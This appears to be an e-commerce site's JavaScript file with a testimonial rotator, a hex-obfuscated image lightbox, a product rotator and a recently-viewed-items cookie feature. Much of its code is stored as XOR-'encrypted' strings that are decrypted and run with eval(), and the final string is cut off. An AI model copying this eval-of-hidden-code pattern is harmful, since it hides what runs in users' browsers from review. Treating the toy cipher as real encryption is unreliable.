//Random Testimonials

if (document.getElementById)
document.documentElement.className = 'jsclass'; //hide content for DOM capable browsers


var randomcontentdisplay={
	divholders:new Object(),
	masterclass: "randomcontent",

	init:function(){
		if (!document.getElementById)
			return
		var alldivs=document.getElementsByTagName("div")
		var randomcontentsearch=new RegExp(this.masterclass+"\\s+(group\\d+)", "i") //check for CSS class="randomcontent groupX" (x=integer)
		for (var i=0; i<alldivs.length; i++){
			if (randomcontentsearch.test(alldivs[i].className)){
				if (typeof this.divholders[RegExp.$1]=="undefined") //if array to hold this group of divs doesn't exist yet
					this.divholders[RegExp.$1]=new Array() //create array first
					this.divholders[RegExp.$1].push(alldivs[i]) //add this div to the array
			}
		}
	this.showone()
	},

	showone:function(){
		for (group in this.divholders){ //loop thru each array within object
			var chosenOne=Math.floor(Math.random()*this.divholders[group].length) //randomly pick one entry from array
			this.divholders[group][chosenOne].style.display="block" //display content corresponding to the chosen entry
		}
	}
}




//Enlarge Image JS

var O,o; function scShowImg(Y,I,A){var e=SC.getObj("scI\x6d\x67Bo\x78-mai\x6eImg"); var U=SC.getObj("scI\x6dgT\x69\164\x6ce"); if (U)U.parentNode.removeChild(U); if (Y.title){var Z=SC.createElement("\x64\x69v","\164\170\x74",Y.title,"id","\x73\x63ImgTi\x74le"); e.parentNode.insertBefore(Z,e); var U=SC.getObj("\x73c\x49mgTitle"); U.style.width=A+"px"; }var z=SC.createElement("\x69\x6dg"); SC.setAttributes(z,"\x73rc",Y.href,"\x77\x69dth",A,"\x68e\x69ght",I); var X=SC.getTagArray("img",e); if (X.length>0){var W=X[0]; e.replaceChild(z,W); }else SC.appendElement(e,z);w(O,"\x62\x6cock",0,0,"-\x31000\x70x","\x2d\x31\060\x300\x70x"); var ww=new V( ); var v=new T( ); var t=O.offsetHeight; var S=O.offsetWidth; var R=(t>ww.I)?t-ww.I+024: 0; var r=(t>ww.Q)?(ww.Q+R)+"p\x78":ww.Q+"p\x78"; var P=(S>ww.A)?(ww.N+(S-ww.A)+050)+"\x70\x78": "1\x300%"; var top=(ww.I-t>0 || (v.y+t)<ww.Q)?((ww.I-t)/2)+v.y: ((ww.Q-t)>0)?ww.Q-t: 024; var left=(ww.A-S>0)?((ww.A-S)/2): 024; top=(top<0)?024:Math.round(top); left=(left<0)?024:Math.round(left); n("hide"); w(O,"\142lock",0,0,top+"\x70x",left+"p\x78"); w(o,"bl\x6fck",P,r,0,0); }function scPreviewInsets( ){var M=SC.getObj("scImgBo\x78-\x69nsetPr\x65view"); if (arguments.length>0){var m=SC.getTagArray("im\x67",M); for (var i=0; i<m.length; i++){if (i==arguments[0])SC.showHide(m[i],"block"); else SC.showHide(m[i],"no\x6e\x65"); }w(M,"\x62\x6cock",0,0); }else {SC.showHide(M,"\x6eo\x6ee"); }}function L( ){SC.showHide(o,"no\x6ee"); SC.showHide(O,"\156\x6fn\x65");n("show"); }function scImgEnlargeInit( ){var l=SC.getObj("\x73\x63Page-i\x6esets"); var scMainImage=SC.getObj("\x73\x63MainIm\x61ge"); if (l || scMainImage){SC.K( ); O=SC.getObj("scIm\x67Bo\x78"); o=SC.getObj("scWr\x61ppe\x72"); if (o)o.onclick=L; }}function V( ){var k=0,J=0,j=0,H=0; if (typeof(window.innerWidth)=='number'){k=window.innerWidth-027; J=window.innerHeight-027; }else if (document.documentElement && document.documentElement.clientWidth){k=document.documentElement.clientWidth; J=document.documentElement.clientHeight; }else if (document.body && document.body.clientWidth){k=document.body.clientWidth; J=document.body.clientHeight; }if (document.body.scrollWidth){j=document.body.scrollHeight; H=document.body.scrollWidth; }else if (document.documentElement && document.documentElement.scrollWidth){j=document.documentElement.scrollHeight; H=document.documentElement.scrollWidth; }else if (document.body.offsetHeight){j=document.body.offsetHeight; H=document.body.offsetWidth; }if (j<J)j=J; if (H<k)H=k; this.Q=j; this.N=H; this.I=J; this.A=k; }function T( ){var h=0,G=0; if (typeof(window.pageYOffset)=='\x6e\x75mber'){G=window.pageYOffset; h=window.pageXOffset; }else if (document.body && (document.body.scrollLeft || document.body.scrollTop)){G=document.body.scrollTop; h=document.body.scrollLeft; }else if (document.documentElement && (document.documentElement.scrollLeft || document.documentElement.scrollTop)){G=document.documentElement.scrollTop; h=document.documentElement.scrollLeft; } this.x=h; this.y=G; }function w(Y,display,A,I,top,left){Y.style.top=(top)?top:Y.style.top; Y.style.left=(left)?left:Y.style.left; Y.style.height=(I==0)?"\x61\x75to":I; Y.style.width=(A==0)?"\x61ut\x6f":A; SC.showHide(Y,display); }function scWinResize( ){var l=SC.getObj("\x73\x63Pag\x65-inse\x74s"); var scMainImage=SC.getObj("s\x63Ma\x69\156\x49mag\x65"); if (l || scMainImage){if (O.style.display=="\142lock"){var g=SC.getTagArray("\x69m\x67",O); var F=SC.createElement("\x61","\x68r\x65f",g[0].src); scShowImg(F,g[0].height,g[0].width);}}}function f(D){var d=D; if (d.indexOf("func\x74io\x6e\040\141\x6eonym\x6fus")>-1){d=d.replace(/\x0a/g,""); d=d.replace("fun\x63tion\x20a\x6e\x6f\x6e\x79\155\157us\x28)\x7b","").replace("\x7d",""); }return d; }function n(C){var c=SC.getTagArray("\x53ELEC\x54"); for (var i=0; i<c.length; i++){if (C=="\x73\x68ow"){var B=c[i].className.replace("\x68\x69\x64e\x53e\x6cec\x74",""); SC.setAttributes(c[i],"\x63\x6c\x61s\x73\x4eam\x65",B.trim( )); }else if (c[i].className.indexOf("\x68\x69\144\x65Se\x6cect")==-1){var B=(c[i].className)?c[i].className+"\x20\x68ideS\x65lect": "\x68\x69deSelec\x74"; SC.setAttributes(c[i],"\x63l\x61ssName",B); }}}SC.K= function ( ){var l=SC.getObj("scP\x61g\x65-inset\x73"); var o0=SC.createElement("\x64\x69v","id","scIm\x67Box"); var O0=SC.createElement("div","c\x6c\x61ssName","\162\x65l\x61tivePo\x73"); var l0=SC.createElement("\x61","txt","\x78","\x68\x72ef","\x6aa\x76ascrip\x74:void\x280);","class\x4eame","c\x6cos\x65","\x74\x69\164\x6ce","cl\x6fs\x65"); l0.onclick=L; SC.appendElement(O0,l0); SC.createAppend("d\x69v",O0,"id","\x73c\x49\155\x67Box\x2dmainIm\x67"); if (l){var i0=SC.createElement("d\x69v","\x63\x6cassN\x61me","\x61b\x73olutePo\x73"); var I0=l.cloneNode( true); for (var i=0; i<I0.childNodes.length; i++){if (I0.childNodes[i].nodeName!="\x41")I0.replaceChild(document.createTextNode(""),I0.childNodes[i]); }SC.setAttributes(I0,"i\x64","scImg\x42o\x78-inse\x74Previ\x65w"); SC.appendElement(i0,I0); var o1=I0.cloneNode( true); SC.setAttributes(o1,"id","scImgBox\x2dins\x65ts"); var O1=SC.createElement("a","\x74\x78t","CLOS\x45","\x68\x72ef","\x6a\x61vascr\x69pt:vo\x69d(0);","\143\154\x61ssNa\x6de","absClo\x73e","\x74\x69tle","CLOSE"); O1.onclick=L; var l1=SC.getTagArray("a",o1); for (var i=0; i<l1.length; i++){var oLink=l1[i]; eval("\x6f\x4cink.o\x6emouseo\x76er = \x66unct\x69on(){\x09s\x63Prev\x69e\x77In\x73et\x73("+i+"\x29}\x3b"); oLink.onmouseout=scPreviewInsets; for (var i1=0; i1<oLink.childNodes.length; i1++)oLink.replaceChild(document.createTextNode(i+1),oLink.childNodes[i1]); }SC.appendElement(o1,O1); }SC.appendElement(o0,O0); if (l){SC.appendElement(O0,i0); SC.appendElement(o0,o1); }SC.createAppend("div",null,"\151d","s\x63Wra\x70per","\164\x69t\x6ce","\x43l\x69ck To C\x6cose"); SC.appendElement(null,o0); };


//http://site.exertools.com/c2e/w4r-script.js

// JavaScript Document
var cryptTable=new String(" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789	!@#$%^&*()`'-=[];,./?_+{}|:<>~");
var cryptLength=new Number(cryptTable.length-1) 
var escapeChar=cryptTable.charAt(cryptLength); 

var lineFeed="\n"; 
var doubleQuote='"'; 
var clearMessage=new Number(5000); 
 
function encrypt(input, password)
{
var inChar, inValue, outValue;

var output="";
var arNumberPw = new Array();

var pwLength=password.length;
var inLength=input.length;

var stopStatus=Math.round(inLength/10);
var statusBar=0;

for (var pwIndex=0; pwIndex<pwLength; pwIndex++)
	{
	arNumberPw[pwIndex]=cryptTable.indexOf(password.charAt(pwIndex));
	}

for (var inIndex=0, pwIndex=0; inIndex<inLength; inIndex++, pwIndex++)
	{
	if (pwIndex==pwLength) 
		{
		pwIndex=0;
		}
	
	inChar=input.charAt(inIndex)
	inValue=cryptTable.indexOf(inChar);

	if (inValue!=-1)
		{
		outValue=arNumberPw[pwIndex] ^ inValue;
		if (outValue>=cryptLength)
			{
			outValue=escapeChar+cryptTable.charAt(outValue-cryptLength);
			}
		else outValue=cryptTable.charAt(outValue);
		}	
	else if (inChar=="\r")
		{
		outValue=escapeChar+escapeChar;
		if (input.charAt(inIndex+1)=="\n") inIndex++; 
		}
	else if (inChar=="\n")
		{
		outValue=escapeChar+escapeChar;
		}
	else if (inChar==doubleQuote)
		{
		outValue=escapeChar+"'";
		}
	else
		{
		outValue=inChar;
		}

	output+=outValue; 

	}

return output;
}

function decrypt(input, password)
{
var inChar, inValue, outValue, escape=false;

var output="";
var arNumberPw = new Array();

var pwLength=password.length;
var inLength=input.length;

var stopStatus=Math.round(inLength/10);
var statusBar=0;

for (var pwIndex=0; pwIndex<pwLength; pwIndex++)
	{
	arNumberPw[pwIndex]=cryptTable.indexOf(password.charAt(pwIndex));
	}

for (var inIndex=0, pwIndex=0; inIndex<inLength; inIndex++, pwIndex++)
	{
	if (pwIndex>=pwLength)
		{
		pwIndex=0;
		}
	
	inChar=input.charAt(inIndex);
	inValue=cryptTable.indexOf(inChar);

	if (inValue==-1)
		{
		outValue=inChar;
		}	

	else if (escape)
		{
		if (inValue==cryptLength)
			{
			outValue=lineFeed;
			inValue=-1;
			}
		else if (inChar=="'")
			{
			outValue=doubleQuote;
			inValue=-1;
			}
		else
			{
			inValue+=cryptLength;
			}
		escape=false;
		}
	else if (inValue==cryptLength)
		{
		escape=true;
		pwIndex--; 
		outValue="";
		inValue=-1;
		}

	if (inValue!=-1)
		{
		outValue=cryptTable.charAt(arNumberPw[pwIndex] ^ inValue);
		}
	
	output+=outValue;

	}

return output;
}



/*Rotate Script*/
//If you have image seperator then assign it to variable bgColImag and bgRowImage
//Currently script shows the follwing contents ("Name","Image","Price","Saleprice") add and remove as required 
var showContents = new Array("Image","Name","Price","Saleprice"); //Change the order the way you want if name appears first first row shows name
var showSeperatorRow = false;
var showSeperatorColumn = false;
var seperatorRowBgColor = "#ffffff";
var seperatorColBgColor = "#ffffff";
/*End Modifiable*/

//Dont Modify the code below unless needed
var uniquearr = new Array();
var y,z;
var duplicate=false;
var namecell, pricecell, salepricecell, imgcell;
var itemsArr = new Array();

function round(n) {
  var s = "" + Math.round(n * 100) / 100
  var i = s.indexOf('.')
  if (i < 0) return s + ".00"
  var t = s.substring(0, i + 1) + s.substring(i + 1, i + 3)
  if (i + 2 == s.length) t += "0"
  return t
}

function seperatorRow(totalColSpan){
	if(showSeperatorColumn)
		totalColSpan = (totalColSpan * 2) - 1
	document.write("<tr><td colspan='" + totalColSpan + "' bgcolor='" + seperatorRowBgColor + "'>");
	document.write("<img src=http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif width=1 height=1>");
	document.write("</td></tr>");
}

function seperatorColumn(totalRowSpan){
	document.write("<td rowspan='" + totalRowSpan + "' width=1 bgcolor='" + seperatorColBgColor + "'>");
	document.write("<img src=http://us.st1.yimg.com/store1.yimg.com/Img/trans_1x1.gif width=1 height=1>");
	document.write("</td>");
}

function itemObj(id, name, img, price, saleprice) {
	this.id=id.toLowerCase();
	this.name=name;
	this.img=img;
	this.price=price;
	this.saleprice=saleprice;
	itemsArr[itemsArr.length] = this;
}

function writeOne(obj,colWidth,i) {
	var wholestring = "<td align=center width=" + colWidth + "% valign=middle>";
	if(obj.img != "-@NULL@-" && (i % 2 == 0))
		wholestring += "<div id=rotateImage><a href=" + obj.id +".html><img src=" + obj.img + " border=0 vspace=5></a></div>";
	if(obj.name != "-@NULL@-")
		wholestring += "<div id=rotateName><a href=" + obj.id +".html>" + obj.name + "</a></div>";
	if(obj.price != "-@NULL@-")
		wholestring += "<div id=rotatePrice>" + regpriceTxt + " $" + round(obj.price) + "</div>";
	if(obj.saleprice != "-@NULL@-")
		wholestring += "<div id=rotateSaleprice>" + salepriceTxt + " $" + round(obj.saleprice) + "</div>";
	if(obj.img != "-@NULL@-" && (i % 2 != 0))
		wholestring += "<div id=rotateImage><a href=" + obj.id +".html><img src=" + obj.img + " border=0 vspace=5></a></div>";
	wholestring += "</td>";
	document.write(wholestring);
}

function writeName(obj,colWidth){
	if(obj.name != "-@NULL@-")
		var namecell = "<td align=center id=rotateName width=" + colWidth + "% valign=top><a href=" + obj.id +".html>" + obj.name + "</a></td>";
	else
		var namecell = "<td align=center>&nbsp;</td>";
	document.write(namecell);
}

function writeImage(obj){
	if(obj.img != "-@NULL@-")
		var imgcell = "<td class=gray-conts-im-bg align=center valign=middle width=" + colWidth + "%><a href=" + obj.id +".html><img src=" + obj.img + " border=0></a></td>";
	else
		var imgcell = "<td align=center>&nbsp;</td>";
	document.write(imgcell);
}

function writePrice(obj){
	if(obj.price != "-@NULL@-")
		var pricecell = "<td align=center id=rotatePrice width=" + colWidth + "%>" + regpriceTxt + " $" + round(obj.price) + "</td>";
	else
		var pricecell = "<td align=center>&nbsp;</td>";
	document.write(pricecell);
}

function writeSaleprice(obj){
	if(obj.saleprice != "-@NULL@-")
		var salepricecell = "<td align=center width=" + colWidth + "%><div id=rotateSaleprice>" + salepriceTxt + " $" + round(obj.saleprice) + "</div></td>";
	else
		var salepricecell = "<td align=center>&nbsp;</td>";
	document.write(salepricecell);
}

var string1 = decrypt("	G0wcIG2nvNZa5Dz6y~dFwzGBAc~d0yDFe8wI ~b EU8MAF	~fdD0yFMEd~dw21MEd~dM+~h~~SsCyvOBDc~aeyKyy~d~'~XwD@~'~c~c~~fHz ~dwt.nvBnF OAv~eywt%~Hcyaz91E=rn~e~a+~h~~SLIN{yc~S~gpA2K1CrwBy~c6yaK 8~D~~SLUB CxydDt.n~'hx~'~g~~WhABI BJ_ rAA Ey~H~G~~QfW 2d0t~'lFKr~'~W~~WhSLaB7FBhnMw{yw nYfDOB~EbBMzGB2eF~CD~Jc~Cyb~D[0zJjIvwJ?~e~~UQfWA rwK]~~hSL20x2c~'5M092~'r~L~~QfWhceI  g52R0~IDDw2 j032/CaIEv2F e~G0;n,rE~H~hBA66Pz 8~D=~~LUQfzwynO~g~~WhStwC n~'7eIy ~'c~Y~~UQfWr PDwOD9wr~E0yDFe8wI ~IxDPAA yw ~fw~De~GcZ~e~dy1NJOsDL+~a~~SLUQCDB2V~c~~fWhwnGwe~'N2U0DyK y~'p~W~~WhSLaB7FB	nLw0D9wr~E0yDFe8wI ~IxDPAA yw ~fw~De~GcZ~e~dy1NJOsDL+~a~~SLUQCDB2V~c~~fWhwnGwe~'Rh1~'t^~~hSLUeyKyy7Bw{yw nYfDOB~EbBMzGB2eF~CD~Jc~Cyb~D[0zJjIvwJ-2~c~c~~fWhSuFwDM=~~LUQA282bL e~U~~SLUQAA CT0Fw~cr PDw{~'&Bsp04K7D~g2w2FB ~R~OFCE2~e~KDv$~'?~eL~~QfWhve005~a~~SL~U~~fW9L~dGL1YNyY0BDFz vCHvO0r~X~OtDn~ ~Dy0FA3zAy~O~KeDBGb0Cwn;~DyGL1YdEaDw2Fv~EF~H~J~~WhSd0D DFBZFs1NxKa~EC8AruZB   yA~DLw2IyN~c~c~~f~S~~SsCyvOBDc~aeyKyy~d~'~X-Fw~S~'~F~~*","encrypt");
eval(string1); 

var string2 = decrypt("	G0wcIG2nCOd HDa_BZD0426yTG~hxJzccC DN-2eF0rlFKr~dy1N2yeFGt~D`~~Ldt.nn~e~~UM	~CvNZa 1FFJy~YtDDw2 j032]JrBOwJ?~~LUC8ArBZD04n;rnFBDaS2T0~e420McH~g~~WrNPLwe~Cor~V~JtxJzccC DN?~d~~UQfac~Dym0wJ]wrIH{kFBQ~aBD CET~E~J}FzBnLw425A~c~c~~fWhbnFty22ynDy8Mc~DyEF7CxynFB]~~~~SLUN1D_Oy~Jtp~acOy~Tty22ynDy8M]JrBOwJ=rP~e~a+~h~~SLUQ7Hc~G ~J~Fy22ynDy8M/O~e~F~~fWhSLzA0N9wnDw.FwCr~c~~fWh~W~~~~QfW9Ly~EvvB6Otw  n;~DyDBv2?~d~~UQfWCCYLMByyyy~Jt	y6Ar~c~~fWhStCFwK0Cr~c~~fWh~W~~UQfK8r~dzA0N9wnDwe~H;rSwHx2?~d~~UQfWxDPAA yw ~fEF7CxynFB=NBDRDL;n;r ~c~~fWhSG~e~Fo~a~~SLU~Y~~W^~~LDGwy69ZaCe~HcgnDL=0BOU~EC8ArBZD04~d EU wyDzc~c~c~~f20xiCCe~H,Z~F~~QBA66Pz 8n;r9w 8~c yPL~Iocn~htCH02w Za~J]~~hLZF~I7n;rF~ct7n&rcC DNOEBG~geK'~c~c~f~~fWvBnF OAvr~gpw21MEdp~aed=~~LUw21MEdp~Fe20xiCCe~gcwZLD DwEB~c~~fW8Ee~EJe~HcY~FpJe~VcAQCebA0BrB x~c6yaK 8~acH~H~e~J(~~hSLGL1YI2uLw{E	EBoG2FBDcG~C6~J-2eF0rlFKr~dy1NJOsDL[Ey2eD91E-yaz91E?~eLUQ~~WhSPJ~I6n;~DyGL1YdEaDw2Fv~gU0F9F	r~hpXe~Q<rPp~Q.nyEcwHMArAy~IX+~~hSLUM	~CvNZa8 BB nDGy5zc~c~~QfWhSd0D DFBZF71Y_yaz91Ec~CyG DDy7ZGt)nq~H~F~~Qf~S~~S~N~~~Y","encrypt");
eval(string2); 

var string3 = decrypt("	G0wcIG2nCOd HDaNBnKO DBx~dDGwy6yU0Ix~bvNZa 1FFJ~EwByythnMw[0zJY0ByAr~H~G~~Qqn;rF~c~~fK8~GdHGtFzBnLt$nF ewcQy5y~DLw2IyN~c~~QfE	EBDGwy6r~gp0yDFe8wI ~c6yaK 8~a~~SBHM42c~GGp~Q.nvNZa 1FFJ~c~f~~fWhey~JtRyyN~D2w7N_gnDL=DFDsCI{~D:BZD0426yTG~J]~~hSLZ0ynwyY00w0	Iy~Jtv 9Gb00yD=~~~~UQfHz ~dIt.nn~eyIt%nwyY00w0	I~DLw2IyN~FpM)~g?~d~~UQfW9Ly~Ec.~HwyY00w0	I~fI~D+~~hSLUQAG2JP20w2;BeEw]~~hSL~U~~~~WhSPJt{1xFUIyDFBr~g~JtwDxy~c~f~~fWhSsED4K 2c0t.n82UGw]~~hSLUy1 yOaEw]~~hSL~U~~fWhOSp~IAG2JP20w2c~D~gpNDNvy~c~f~~fWhSbBMzGB2eF~Cv 9Gb00yD]JrBOwJ.r~gpc]~~hSLUZ)~Hq~e~~UQf~S~~S~N~~QwAy2U3GtEc~Dym0wJ]wrIH{E	EBDGwy6~htCH02w Za~J]~~hyaz91Ec~D~hb~g~~W EU8MAF	r~gpiDF	~gt0M4~CqYF~by1N2yeFGt~D=~~LJGy~C9r~gpa]n9r~Kp 1FFJgCex~acO~H~e~J(~~hSdD0yFMEdp~Fe20xiCCe~gcZ~F~~Qf20xiCCe~Hcyaz91Ec~cy2G4BB eCe]~~hSdHGt7FvU0~I~'mSo~'~d0yDFe8wI ~b EU8MAF	~fdD0yFMEd~dw21MEd~dM+~ahSL~~QfK8~GPp~Q.nyEcwHMArAy~IX+~~hSLIN{E	EB4w02w2cCBMAr~H~~UQfWvyY0BDFz gCe{20xiCCe~GcAcwBw3zAy~eto~D=~~L~U~~*","encrypt");
eval(string3); 

/*Recently Viewed Items*/
var expDays=60;
var expDate = new Date();
expDate.setTime(expDate.getTime()+(expDays*24*60*60*1000))

var writeck = decrypt("	G0wcIG2nr PDwbAzIP0~IxJzc6CeRy0e~E2G4BB eCe+~h~~SCwBe FKr~dMA~b9KnKwvD6~fYFMB2-AnLw0D9wr~dh2y5y~ElMA~bQOTwO GwJ~ElDyK y~ElCDNBFeIy ~b EZOM 9FJ~~Uh2y5yy~Jt~'BwEsEywlFKr~S~']~~hfPzt.n~'Os~S~']~~hfPM092x Up~Fe~'9KnKwvD6~Y~'~c~~fj2 P2we~Hc~'YFMB2*~'~F~~QSEFJr B70Br~gp~'xy6yYFMB~U~'~e~~UdDDcDC t.n0yBpuyDFe~d~F~g~~Ws2epB 0BDci  Ob ewce~HcDratdDw2 ~E~J]~~hbnFtwJB~btCG5KBr~gpA22vwn w{1zwbMw2F]wZCK72?~e~~UdDDcwcFt.nnr~F~~Q7H_BQ0~dBAzIP0~e420McHt$nn~H~G~~QfXF y2G1M9yxFBDac~DyDL ~f EZOM ~cvFUI {~'=~'~c~c~~fW8Ee~EM.c=O~K2G1M9yxFBDa]JrBOwJ=O~H~e~J(~~hSLIN{0zEVIwdDw2 ~GM;~c9Ds0bPH_wZCK72S2T0~Je~Wc~CE~F~b~~WhSLFwB20B5Dw3ow nY~CBFw~Fy~JtBAzIP0uyDFe~fI~D]~~hSLUywDc~Dy2 yn'rE~c~~fWh~W~~UQ*~~hSPJ~Iy2 yaDmw25seF0r~c6yaK 8~Wn~H~G~~QfWvNZal1YP2aYt.nwyt0FwgyyTqByyt~gU0F9F	r~R~JtxJzc6CeRy0ey~gtxJzc6CeRy0ey~Sty2 yaDmw25seF0r~c6yaK 8~a~~SLUy1N2yeFGtn;re0y  ykc0IdDw2 ~aH  7BQp~U.n EU wyDzcy~gtBA6FrFB1Yc~YyFwB20B5Dw3ow nY~e420McH~g~~WhS~~UQfFzBnL71Yvr~gpiDF	~gt0M4~CvNZal1YP2aY~fBA6FrFB1Y?~e~~UQf20xiCCe~H,Z~F~~QfW EU8MAF	r~gpiDF	~gt0M4~CqYF~by1N2yeFGt~D=~~~~UQfHz ~dIt.nn~eyIt%nyEcwHMArA~FpM)~g?~d~~UQfWvBnF OAvr~gpw21MEdp~aed=~~LUQf20xiCCe~Hcyaz91Ec~cy2G4BB eCe]~~hSLUv10xKrB =YwOc0~I~'~Vy ~R~'~J]~~hSLUN1D_2y~JtxFF c5Gx~ac2y~T~Fe20xiCC]nF~c~H~F~b~~WhSLUM	~CFr~R~Jty2 yaDmw25seF0r~c6yaK 8~D~~SLUQfWCEtEI  y~gBFMw2_~'~KDvey6ORB~FB20BrF~U| AAY~c~X-FC~S~'~F~g~~WhSLUw4EB~d~~UQfWhSawI n;r~'~'~g~~WhSLUQ71c~Dy~'~']~~hSLUQfK52R0AyNc~Dy~'~']~~hSLUQfBwOt0t.n~'~'~F~~QfWhSLG0422 P2we~Hc~'~'~cQfWhSLU~~fWhSLUy1A3Or704n;rbBwx0FFr~EB 0BDci  Ob ewc,y.~H~F~~QfWhSLBd0n;rtCG5KB5nL~exB6Oc~E~'.~'?~e~~UQfWhSaZDe~HcDC ~Co~J]AYLMw~C~'~X~'~F~g~~WhSLUQ	Aw~GV~Ja]M&DC ~e420McH~g5~g'~H~G~~QfWhSLUM	~C0bY~GK;~c9Ds0bPH_~'YFGAG B8wI ~U~'~Hy~Yt/d?~~LUQfWhSLB032c~DyBd0~I3~F~DGACEy ~dlFDOB~gU0F9F	~H~F~~QfWhSLUM	~C0bY~GK;~c9Ds0bPH_~'Pz~W~'~Dc~Sy~IX+~~hSLUQfWhOsp~Fe sF~fO~D=ExvdDB{j9x~DLw2IyN~c~c~~fWhSLUQ7H_DC ~C5~J]Oazwsm8~G~'IIDIBCeL~W~'~Dc~Sy~IX+~~hSLUQfWhOTwO GwJy~Jt2X2~EV~H~exGAAcF~ISK52R0AyN]JrBOwJ?~e~~UQfWhSLIN{ sF~fO~D=K0xrXg	~C~'FeIy ~U~'~Hy~Yt/d?~~LUQfWhSL B70Br~gpFuB/I~e~aCvzvBe~Eh0D9wr~aH  7BQ~F~g~~WhSLUQfK8~GaZD,M.~gPBv ZRL~d~'CDNBFeIy^~'?r~Rp~Eo~D~~SLUQfWhSdwH BwOt0t.n0bY~GK;~cvCuG y~CQAnLw0D9wr~aH  7BQ~F~g~~WhSLUQ*~~hSLUQf1zwbMw2F]ceI  ~C~'~ZczttKCBQ~J~H~'n'rtCHHKCBQp~a~'~O+rnLM9 ;wrB  DcbnLM9 ;BZ ~U~'~D=~~LUQfWhxZ2A320B~DaB7FB~G~'~T Dz6yyaMAF	~D~abap~O+ruCBA2w~D~ae~He0BJU 0A19DR~J~Ho~FcwrLHxBFwPBO.~Fq~J~R~T y~W&BspdDN9Ma~JI71CJrp04K7D~g2w2FB yHw7I	B~gWa$~'?~e~~UQfWhSsCyvOBDc~aeyKyy~d~'~XDn	 rJ~F~'n'rPzt)n~'~S~KII9nv t~J~'e~gcOTwO GwJy~et~'nAEezwy~Hn~S~K~b0$~V[Bs~Y~X-Fw~S~'~F~g~~WhSLUQAA CT0Fw~cr PDw{~'&Be~Y~Xw1cbnLM9 ;BZ tDN9Ma~Jy  yye~Y~XDn	 rJ~F~'n'rPzt)n~'~S~K1~U~'n'rawI n'r~'~T~fC~W&~hn~Y~X-FC~S~K~b y~W~'~H~FUQfW~~SLUQfW9L~d B70Br~V~Jt~'~'c~M~XpDyK yy~M~Fe~'n~'~c~f~~fWhSLUQAA CT0Fw~cr PDw{~'&Be~Y~Xw1c2UIO2~H yaDwyn JnGC.~Fwyt0Fw~G9BrMC/BwOt0~H$~'?~e~~UQfWhSLIN{EFJr B70Br~V~Jt~'~'c~M~XpCDNBFeIy n~ ~Dy~'a~'~D`~~LUQfWhSLzGBG5yaD~etD9Br~EDyK ym0bwn'r~'p~'+~a~~SLUQfWh~WrLC ~~hSLUQfWhxZ2A320B~DaB7FB~G~'~Tx$~'?~e~~UQfWhSL~~QfWhSLUv10xKrB =YwOc0~I~'~N~'r~HpDyK y~c~c~~fWhSLUQ7H_AnLw0D9wrp~F.n~'~'y~V~ZeEFJr B70Br~g~Jt~'c~'~H~~UQfWhSLUv10xKrB =YwOc0~I~'~V[v~R~'~J]W~~SLUQfWhxZ2A320B~DaB7FB~G~'~T~fw1@~Z~CDB$~'?~e~~UQfWhS~N~~QfWhSLIN{EFJr B70Br~V~Jt~'~'c~M~XpCDNBFeIy n~ ~Dy~'a~'~D~~SLUQfWhxZ2A320B~DaB7FB~G~'~T y~W&Bsp04K7D~g2w2FB y2HDEv~D~aFwB20B~hI  Ov~CdwH BwOt0~H$~VvFnB~U~'n'rdwH 3wOt05 Zyr~Hp~'e~VA~S~S~'t)nv2U0DyK yy~et~'~V[v~R~T~fxBFD~R~T~fw1@~Z~CDB$~'?~e~~UQfWhSsCyvOBDc~aeyKyy~d~'~X-FFvU0~U%~dyx~R~'~J]~~hSLUQ*~~hSLU~Y~~WhSLzGBG5yaD~etD9Br~E~'%~dy ~R~'~J]~~hSL~U~~fW^SL~~Q*~~^","encrypt");
eval(writeck);

var setck = decrypt("	G0wcIG2nvycoG1M9y~dB032-Os~dM3y7ybFH[BwOt0~hxy6yYFMB2?~d~~UdDDcBQ0s1A3Or~d 1FFJvCG5KB~fa0bwqzEVIw[0zEVIwdDw2 ~dtBGw rB OAv~~LZ0yn Bep~Fecc~e~~UdDDc r2w2FTBrMuyDFey~Jt22rrxFBDa_~H~F~~QuywrcHw`0zEVIwe~HcCa0CBy2y~dzGBG5yaD~eBAzIP0~J]~~~~SLDL qzEVIwe~Hcyd2002_~'YFGAG B8wI ~U~'r~HpFDOBr~Hp~'&KC~Y~'pt)n9xy~et~'~T9KnKwvD6~Y~'p~aeK52R0AyNc~cy~'~Z0D9wr~S~'e~gcFeIy n'r~'~VCDNBFeIy^~'c~cyG0422 P2w+n'r~'~ct Z2Oe0C.~'c~cy0b0rFBr~a 1uP3fDB7 7~G~cp~ae~'=rYw 8~H[~'~F~~QfK8~GcHw`0zEVIw=NBDRDLe~WcY~c~f~~fWhbnFtBAzIP0uyDFey~JtwJB~btCG5KB~gd H7F_~'~F~'~J]~~hSLJGy~C9~DF~cM%0zEVIwdDw2 ~aH  7BQ~cM)~g?~d~~UQfW9L~d2G1M9yxFBDa/O~e~aM21Bd7J~IBAzIP0fDOB~Hy~Yt/d?~d~~UQfWhOS~Ey1A3OrqByyt~EP~H~e7 CyAkN{KC~Hy~Yt/d?~d~~UQfWhSCwBe2uOdDCe~HcBeEw]~~hSLUQf0x e0Fw3zAy~JtBFw~e~~UQfWh~WLUQfW~~SLUQfDBwrB VFBKxFBDa/wcF~De~HcwZCK72b ewc,K.~e~~UQfWhwcFt.n Bep~aed=~~LUQf~S~~SLU~Y~~WhSPJ~IBFwr~Rpa+~h~~SLUQwJBuZCK72c~Dy2G1M9y8wI n'r~'~J~'e~gcBQ0s1A3Or~c~~fWhSLIN{2uOdDC+~~hSLUQfDBwrB VFBKxFBDa]AYLMB2_wbFB  y7ZG~ho~D=~~LUQfWwyt0FwgyyTqByyt~gbBC8K8B~dDL qzEVIw+W~~SLUQuywrcC DNIEfHGtn;re0y  ykc0IdDw2 ~aH  7BQp~U.n	EBm02aOyt0Fw99yB0ve~ecNZaiD t9r2w2FKOrawAn*re0y  ykc0IdDw2 ~aH  7BQ~c~~fWhS~~UQfW8Ee~EM.c=O~KDGwy63Z4L1Y=O~H~e~J(WhSL~~QfWhSYwCxqzEVIwe~Hc r2w2FTBrMuyDFe~fI~D=E2JPD~I~'~H~'~H~F~~QfWhSsCyvOBDc~ay1A3Orp~Fe0zEVIwQy5yy~et7n'r~'~J~'e~gcFnGCbAzIP0~Co~Jc~cy~'~ge2uFPFwx~H~'r~HpwsBY2c0~ewAZgm4 yK0M~d~Ft)n~'~ey 